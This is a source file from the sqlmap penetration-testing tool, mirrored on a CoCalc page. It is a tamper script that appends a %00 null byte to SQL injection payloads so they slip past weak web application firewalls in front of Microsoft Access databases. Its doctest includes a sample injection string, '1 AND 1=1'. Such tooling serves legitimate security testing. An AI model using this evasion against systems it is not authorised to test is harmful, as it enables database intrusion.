Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/tamper/appendnullbyte.py
2983 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import os
9
10
from lib.core.common import singleTimeWarnMessage
11
from lib.core.enums import DBMS
12
from lib.core.enums import PRIORITY
13
14
__priority__ = PRIORITY.LOWEST
15
16
def dependencies():
17
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
18
19
def tamper(payload, **kwargs):
20
"""
21
Appends an (Access) NULL byte character (%00) at the end of payload
22
23
Requirement:
24
* Microsoft Access
25
26
Notes:
27
* Useful to bypass weak web application firewalls when the back-end
28
database management system is Microsoft Access - further uses are
29
also possible
30
31
Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection
32
33
>>> tamper('1 AND 1=1')
34
'1 AND 1=1%00'
35
"""
36
37
return "%s%%00" % payload if payload else payload
38
39